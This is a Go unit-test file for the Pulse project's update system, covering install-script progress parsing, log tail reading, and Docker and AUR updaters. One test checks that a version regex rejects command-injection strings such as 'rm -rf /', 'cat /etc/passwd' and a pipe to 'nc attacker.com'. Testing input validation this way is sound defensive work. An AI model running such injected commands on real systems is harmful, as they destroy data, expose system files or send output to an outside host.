mirror of
https://github.com/rcourtman/Pulse.git
synced 2026-05-07 00:37:36 +00:00
526 lines
13 KiB
Go
526 lines
13 KiB
Go
package updates
|
|
|
|
import (
|
|
"context"
|
|
"os"
|
|
"path/filepath"
|
|
"regexp"
|
|
"testing"
|
|
)
|
|
|
|
func TestInstallShAdapter_ParseProgress(t *testing.T) {
|
|
adapter := &InstallShAdapter{}
|
|
|
|
tests := []struct {
|
|
name string
|
|
line string
|
|
wantStage string
|
|
wantProgress int
|
|
wantMessage string
|
|
wantIsComplete bool
|
|
}{
|
|
// Downloading stage
|
|
{
|
|
name: "downloading lowercase",
|
|
line: "downloading pulse binary...",
|
|
wantStage: "downloading",
|
|
wantProgress: 30,
|
|
wantMessage: "Downloading update...",
|
|
},
|
|
{
|
|
name: "downloading uppercase",
|
|
line: "DOWNLOADING files from GitHub",
|
|
wantStage: "downloading",
|
|
wantProgress: 30,
|
|
wantMessage: "Downloading update...",
|
|
},
|
|
{
|
|
name: "downloading mixed case",
|
|
line: "Downloading release v1.2.3",
|
|
wantStage: "downloading",
|
|
wantProgress: 30,
|
|
wantMessage: "Downloading update...",
|
|
},
|
|
|
|
// Extracting stage
|
|
{
|
|
name: "extracting lowercase",
|
|
line: "extracting tarball...",
|
|
wantStage: "extracting",
|
|
wantProgress: 40,
|
|
wantMessage: "Extracting files...",
|
|
},
|
|
{
|
|
name: "extracting in sentence",
|
|
line: "Now extracting the archive to /opt/pulse",
|
|
wantStage: "extracting",
|
|
wantProgress: 40,
|
|
wantMessage: "Extracting files...",
|
|
},
|
|
|
|
// Installing stage
|
|
{
|
|
name: "installing lowercase",
|
|
line: "installing pulse binary...",
|
|
wantStage: "installing",
|
|
wantProgress: 60,
|
|
wantMessage: "Installing...",
|
|
},
|
|
{
|
|
name: "installing uppercase",
|
|
line: "INSTALLING to /opt/pulse/bin",
|
|
wantStage: "installing",
|
|
wantProgress: 60,
|
|
wantMessage: "Installing...",
|
|
},
|
|
|
|
// Backup stage
|
|
{
|
|
name: "backup lowercase",
|
|
line: "backup created at /etc/pulse.bak",
|
|
wantStage: "backing-up",
|
|
wantProgress: 25,
|
|
wantMessage: "Creating backup...",
|
|
},
|
|
{
|
|
name: "backup with path",
|
|
line: "Creating backup: /var/backup/pulse-20231201",
|
|
wantStage: "backing-up",
|
|
wantProgress: 25,
|
|
wantMessage: "Creating backup...",
|
|
},
|
|
|
|
// Configuring stage
|
|
{
|
|
name: "configuring lowercase",
|
|
line: "configuring systemd service...",
|
|
wantStage: "configuring",
|
|
wantProgress: 70,
|
|
wantMessage: "Configuring...",
|
|
},
|
|
{
|
|
name: "configuration partial match",
|
|
line: "configuration files updated",
|
|
wantStage: "configuring",
|
|
wantProgress: 70,
|
|
wantMessage: "Configuring...",
|
|
},
|
|
|
|
// Restarting stage
|
|
{
|
|
name: "restart lowercase",
|
|
line: "restart pulse service...",
|
|
wantStage: "restarting",
|
|
wantProgress: 90,
|
|
wantMessage: "Restarting service...",
|
|
},
|
|
{
|
|
name: "restarting",
|
|
line: "restarting the pulse service",
|
|
wantStage: "restarting",
|
|
wantProgress: 90,
|
|
wantMessage: "Restarting service...",
|
|
},
|
|
|
|
// Completed stage
|
|
{
|
|
name: "completed lowercase",
|
|
line: "update completed",
|
|
wantStage: "completed",
|
|
wantProgress: 100,
|
|
wantMessage: "Update completed",
|
|
wantIsComplete: true,
|
|
},
|
|
{
|
|
name: "complete partial",
|
|
line: "Installation complete!",
|
|
wantStage: "completed",
|
|
wantProgress: 100,
|
|
wantMessage: "Update completed",
|
|
wantIsComplete: true,
|
|
},
|
|
{
|
|
name: "success",
|
|
line: "success: pulse has been updated",
|
|
wantStage: "completed",
|
|
wantProgress: 100,
|
|
wantMessage: "Update completed",
|
|
wantIsComplete: true,
|
|
},
|
|
{
|
|
name: "successfully",
|
|
line: "Pulse updated successfully!",
|
|
wantStage: "completed",
|
|
wantProgress: 100,
|
|
wantMessage: "Update completed",
|
|
wantIsComplete: true,
|
|
},
|
|
|
|
// No match cases
|
|
{
|
|
name: "empty string",
|
|
line: "",
|
|
wantStage: "",
|
|
wantProgress: 0,
|
|
wantMessage: "",
|
|
},
|
|
{
|
|
name: "unrelated output",
|
|
line: "checking permissions...",
|
|
wantStage: "",
|
|
wantProgress: 0,
|
|
wantMessage: "",
|
|
},
|
|
{
|
|
name: "version info",
|
|
line: "Current version: v1.2.3",
|
|
wantStage: "",
|
|
wantProgress: 0,
|
|
wantMessage: "",
|
|
},
|
|
{
|
|
name: "random log line",
|
|
line: "2024-01-01 12:00:00 INFO Starting update process",
|
|
wantStage: "",
|
|
wantProgress: 0,
|
|
wantMessage: "",
|
|
},
|
|
|
|
// Note: map iteration order is not guaranteed, so when multiple
|
|
// patterns match, any of them could be returned. This tests the
|
|
// behavior for lines that only match one pattern.
|
|
{
|
|
name: "only downloading matches",
|
|
line: "downloading files from server",
|
|
wantStage: "downloading",
|
|
wantProgress: 30,
|
|
wantMessage: "Downloading update...",
|
|
},
|
|
}
|
|
|
|
for _, tc := range tests {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
result := adapter.parseProgress(tc.line)
|
|
|
|
if result.Stage != tc.wantStage {
|
|
t.Errorf("Stage = %q, want %q", result.Stage, tc.wantStage)
|
|
}
|
|
if result.Progress != tc.wantProgress {
|
|
t.Errorf("Progress = %d, want %d", result.Progress, tc.wantProgress)
|
|
}
|
|
if result.Message != tc.wantMessage {
|
|
t.Errorf("Message = %q, want %q", result.Message, tc.wantMessage)
|
|
}
|
|
if result.IsComplete != tc.wantIsComplete {
|
|
t.Errorf("IsComplete = %v, want %v", result.IsComplete, tc.wantIsComplete)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestInstallShAdapter_ReadLastLines(t *testing.T) {
|
|
adapter := &InstallShAdapter{}
|
|
|
|
tests := []struct {
|
|
name string
|
|
content string
|
|
n int
|
|
expected string
|
|
}{
|
|
{
|
|
name: "read last 3 lines from 5 line file",
|
|
content: "line1\nline2\nline3\nline4\nline5",
|
|
n: 3,
|
|
expected: "line3\nline4\nline5",
|
|
},
|
|
{
|
|
name: "read last 5 lines from 3 line file",
|
|
content: "line1\nline2\nline3",
|
|
n: 5,
|
|
expected: "line1\nline2\nline3",
|
|
},
|
|
{
|
|
name: "read last 1 line",
|
|
content: "line1\nline2\nline3",
|
|
n: 1,
|
|
expected: "line3",
|
|
},
|
|
{
|
|
name: "read last 0 lines returns empty",
|
|
content: "line1\nline2\nline3",
|
|
n: 0,
|
|
expected: "",
|
|
},
|
|
{
|
|
name: "empty file",
|
|
content: "",
|
|
n: 5,
|
|
expected: "",
|
|
},
|
|
{
|
|
name: "single line file",
|
|
content: "only line",
|
|
n: 3,
|
|
expected: "only line",
|
|
},
|
|
{
|
|
name: "file with trailing newline",
|
|
content: "line1\nline2\nline3\n",
|
|
n: 2,
|
|
expected: "line2\nline3",
|
|
},
|
|
{
|
|
name: "large n value",
|
|
content: "a\nb\nc",
|
|
n: 1000,
|
|
expected: "a\nb\nc",
|
|
},
|
|
{
|
|
name: "negative n returns empty",
|
|
content: "line1\nline2",
|
|
n: -1,
|
|
expected: "",
|
|
},
|
|
{
|
|
name: "lines with special characters",
|
|
content: "error: failed!\nwarning: [WARN]\ninfo: done",
|
|
n: 2,
|
|
expected: "warning: [WARN]\ninfo: done",
|
|
},
|
|
}
|
|
|
|
for _, tc := range tests {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
// Create temp file with content
|
|
tmpDir := t.TempDir()
|
|
tmpFile := filepath.Join(tmpDir, "test.log")
|
|
|
|
if tc.content != "" {
|
|
if err := os.WriteFile(tmpFile, []byte(tc.content), 0644); err != nil {
|
|
t.Fatalf("Failed to create test file: %v", err)
|
|
}
|
|
} else {
|
|
// Create empty file
|
|
f, err := os.Create(tmpFile)
|
|
if err != nil {
|
|
t.Fatalf("Failed to create test file: %v", err)
|
|
}
|
|
f.Close()
|
|
}
|
|
|
|
result := adapter.readLastLines(tmpFile, tc.n)
|
|
|
|
if result != tc.expected {
|
|
t.Errorf("readLastLines() = %q, want %q", result, tc.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestInstallShAdapter_ReadLastLines_FileNotFound(t *testing.T) {
|
|
adapter := &InstallShAdapter{}
|
|
|
|
result := adapter.readLastLines("/nonexistent/path/file.log", 5)
|
|
|
|
if result != "" {
|
|
t.Errorf("readLastLines() for nonexistent file = %q, want empty string", result)
|
|
}
|
|
}
|
|
|
|
func TestVersionPatternValidation(t *testing.T) {
|
|
// This tests the version pattern used in Execute() for command injection prevention
|
|
versionPattern := regexp.MustCompile(`^v?\d+\.\d+\.\d+(?:-[a-zA-Z0-9.-]+)?(?:\+[a-zA-Z0-9.-]+)?$`)
|
|
|
|
tests := []struct {
|
|
version string
|
|
valid bool
|
|
}{
|
|
// Valid versions
|
|
{"1.0.0", true},
|
|
{"v1.0.0", true},
|
|
{"0.0.1", true},
|
|
{"v0.0.1", true},
|
|
{"10.20.30", true},
|
|
{"v10.20.30", true},
|
|
{"1.2.3-alpha", true},
|
|
{"v1.2.3-alpha", true},
|
|
{"1.2.3-beta.1", true},
|
|
{"v1.2.3-beta.1", true},
|
|
{"1.2.3-rc1", true},
|
|
{"v1.2.3-rc1", true},
|
|
{"1.2.3-alpha.beta.gamma", true},
|
|
{"1.2.3+build", true},
|
|
{"v1.2.3+build", true},
|
|
{"1.2.3+build.123", true},
|
|
{"1.2.3-alpha+build", true},
|
|
{"v1.2.3-alpha+build.456", true},
|
|
|
|
// Invalid versions - potential injection attempts
|
|
{"1.0.0; rm -rf /", false},
|
|
{"1.0.0 && cat /etc/passwd", false},
|
|
{"1.0.0 | nc attacker.com 1234", false},
|
|
{"$(whoami)", false},
|
|
{"`id`", false},
|
|
{"1.0.0\nmalicious", false},
|
|
{"1.0.0$(touch /tmp/pwned)", false},
|
|
{"../../../etc/passwd", false},
|
|
{"", false},
|
|
{"v", false},
|
|
{"1", false},
|
|
{"1.0", false},
|
|
{"1.0.0.0", false},
|
|
{"v1.0.0.0", false},
|
|
{"latest", false},
|
|
{"master", false},
|
|
{"main", false},
|
|
{"HEAD", false},
|
|
{"1.0.0-", false}, // trailing dash
|
|
{"1.0.0+", false}, // trailing plus
|
|
{"-1.0.0", false}, // leading dash
|
|
{"v-1.0.0", false}, // invalid prefix
|
|
{"V1.0.0", false}, // uppercase V not allowed
|
|
{"1.0.0--alpha", true}, // double dash allowed (not a security risk)
|
|
{"1.0.0++build", false}, // double plus
|
|
{"1.0.0-alpha_1", false}, // underscore not allowed in prerelease
|
|
{"1.0.0+build_1", false}, // underscore not allowed in build metadata
|
|
}
|
|
|
|
for _, tc := range tests {
|
|
t.Run(tc.version, func(t *testing.T) {
|
|
result := versionPattern.MatchString(tc.version)
|
|
if result != tc.valid {
|
|
t.Errorf("version %q: got valid=%v, want valid=%v", tc.version, result, tc.valid)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestDockerUpdater(t *testing.T) {
|
|
updater := NewDockerUpdater()
|
|
|
|
t.Run("SupportsApply", func(t *testing.T) {
|
|
if updater.SupportsApply() {
|
|
t.Error("DockerUpdater should not support auto apply")
|
|
}
|
|
})
|
|
|
|
t.Run("GetDeploymentType", func(t *testing.T) {
|
|
if updater.GetDeploymentType() != "docker" {
|
|
t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "docker")
|
|
}
|
|
})
|
|
|
|
t.Run("PrepareUpdate uses default image repo", func(t *testing.T) {
|
|
plan, err := updater.PrepareUpdate(context.Background(), UpdateRequest{Version: "v4.25.0"})
|
|
if err != nil {
|
|
t.Fatalf("PrepareUpdate() error = %v", err)
|
|
}
|
|
if got := plan.Instructions[0]; got != "docker pull rcourtman/pulse:4.25.0" {
|
|
t.Fatalf("pull instruction = %q", got)
|
|
}
|
|
if got := plan.Instructions[2]; got != "docker run -d --name pulse rcourtman/pulse:4.25.0" {
|
|
t.Fatalf("run instruction = %q", got)
|
|
}
|
|
})
|
|
|
|
t.Run("PrepareUpdate uses configured image repo", func(t *testing.T) {
|
|
t.Setenv("PULSE_DOCKER_IMAGE_REPO", "example/pulse-enterprise")
|
|
|
|
plan, err := updater.PrepareUpdate(context.Background(), UpdateRequest{Version: "v4.25.0"})
|
|
if err != nil {
|
|
t.Fatalf("PrepareUpdate() error = %v", err)
|
|
}
|
|
if got := plan.Instructions[0]; got != "docker pull example/pulse-enterprise:4.25.0" {
|
|
t.Fatalf("pull instruction = %q", got)
|
|
}
|
|
if got := plan.Instructions[2]; got != "docker run -d --name pulse example/pulse-enterprise:4.25.0" {
|
|
t.Fatalf("run instruction = %q", got)
|
|
}
|
|
})
|
|
|
|
t.Run("Execute returns error", func(t *testing.T) {
|
|
err := updater.Execute(context.Background(), UpdateRequest{}, nil)
|
|
if err == nil {
|
|
t.Error("Execute() should return error for docker deployments")
|
|
}
|
|
})
|
|
|
|
t.Run("Rollback returns error", func(t *testing.T) {
|
|
err := updater.Rollback(context.Background(), "event-123")
|
|
if err == nil {
|
|
t.Error("Rollback() should return error for docker deployments")
|
|
}
|
|
})
|
|
}
|
|
|
|
func TestAURUpdater(t *testing.T) {
|
|
updater := NewAURUpdater()
|
|
|
|
t.Run("SupportsApply", func(t *testing.T) {
|
|
if updater.SupportsApply() {
|
|
t.Error("AURUpdater should not support auto apply")
|
|
}
|
|
})
|
|
|
|
t.Run("GetDeploymentType", func(t *testing.T) {
|
|
if updater.GetDeploymentType() != "aur" {
|
|
t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "aur")
|
|
}
|
|
})
|
|
|
|
t.Run("Execute returns error", func(t *testing.T) {
|
|
err := updater.Execute(context.Background(), UpdateRequest{}, nil)
|
|
if err == nil {
|
|
t.Error("Execute() should return error for AUR deployments")
|
|
}
|
|
})
|
|
|
|
t.Run("Rollback returns error", func(t *testing.T) {
|
|
err := updater.Rollback(context.Background(), "event-123")
|
|
if err == nil {
|
|
t.Error("Rollback() should return error for AUR deployments")
|
|
}
|
|
})
|
|
}
|
|
|
|
func TestInstallShAdapter_SupportsApply(t *testing.T) {
|
|
adapter := &InstallShAdapter{}
|
|
|
|
if !adapter.SupportsApply() {
|
|
t.Error("InstallShAdapter should support auto apply")
|
|
}
|
|
}
|
|
|
|
func TestInstallShAdapter_GetDeploymentType(t *testing.T) {
|
|
adapter := &InstallShAdapter{}
|
|
|
|
if adapter.GetDeploymentType() != "systemd" {
|
|
t.Errorf("GetDeploymentType() = %q, want %q", adapter.GetDeploymentType(), "systemd")
|
|
}
|
|
}
|
|
|
|
func TestNewInstallShAdapter(t *testing.T) {
|
|
adapter := NewInstallShAdapter(nil)
|
|
|
|
if adapter == nil {
|
|
t.Fatal("NewInstallShAdapter returned nil")
|
|
}
|
|
|
|
if adapter.installScriptURL == "" {
|
|
t.Error("installScriptURL should not be empty")
|
|
}
|
|
|
|
if adapter.logDir == "" {
|
|
t.Error("logDir should not be empty")
|
|
}
|
|
|
|
expectedURL := defaultInstallScriptLatestURL()
|
|
if adapter.installScriptURL != expectedURL {
|
|
t.Errorf("installScriptURL = %q, want %q", adapter.installScriptURL, expectedURL)
|
|
}
|
|
|
|
expectedLogDir := "/var/log/pulse"
|
|
if adapter.logDir != expectedLogDir {
|
|
t.Errorf("logDir = %q, want %q", adapter.logDir, expectedLogDir)
|
|
}
|
|
}
|